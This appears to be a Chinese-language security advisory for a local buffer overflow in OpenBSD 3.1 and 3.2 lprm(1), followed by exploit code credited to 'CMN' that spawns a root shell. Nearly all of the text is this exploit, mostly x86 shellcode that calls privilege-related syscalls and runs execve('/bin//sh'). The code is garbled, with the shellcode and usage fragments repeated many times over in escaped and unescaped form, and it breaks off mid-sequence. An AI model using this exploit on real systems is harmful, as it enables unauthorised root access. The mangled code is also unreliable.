涉及程序： OpenBSD 3.1版,3.2版 描述： OpenBSD lprm(1)缓冲溢出缺陷使用代码 详细： OpenBSD的lprm存在本地缓冲溢出缺陷,利用该缺陷能导致攻击者获得权限提升，能以root权限执行任意指令。 攻击方法： 示例代码: #include #include #include #include #include #define LPRMPROG "/usr/bin/lprm" #define BUFSIZE 511 #define OFFSET 0 #define NOP 0x90 static char obsdcode<> = "\x31\xc0" /* xorl %eax, %eax */ "\x50" /* pushl %eax */ "\x50" /* pushl %eax */ "\xb0\xb7" /* movb > = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ \"\\x50\" /* pushl %eax */ \"\\xb0\\x3b\" /* movb $0x3b, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x40\" /* inc %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\"; /* int $0x80 */ u_long getesp(void) { __asm__(\"movl %esp, %eax\"); } void usage(u_char *pname) { printf(\"\\n** OpenBSD lprm(1) local root exploit by CMN **\\n\"); printf(\"\\nUsage: %s printer = \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\xb0\\xb7\" /* movb $0xb7, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x19\" /* movb $0x19, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x17\" /* movb $0x17, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\x2b\" /* movb $0x2b, %al */ \"\\x50\" /* pushl %eax */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x50\" /* pushl %eax */ \"\\x50\" /* pushl %eax */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\xb0\\xb5\" /* movb $0xb5, %al */ \"\\xcd\\x80\" /* int $0x80 */ \"\\x31\\xc0\" /* xorl %eax, %eax */ \"\\x50\" /* pushl %eax */ \"\\x68\\x2f\\x2f\\x73\\x68\" /* pushl $0x68732f2f */ \"\\x68\\x2f\\x62\\x69\\x6e\" /* pushl $0x6e69622f */ \"\\x89\\xe3\" /* movl %esp, %ebx */ \"\\x50\" /* pushl %eax */ \"\\x53\" /* pushl %ebx */ \"\\x89\\xe2\" /* movl %esp, %edx */ \"\\x50\" /* pushl %eax */ \"\\x52\" /* pushl %edx */ \"\\x53\" /* pushl %ebx */ 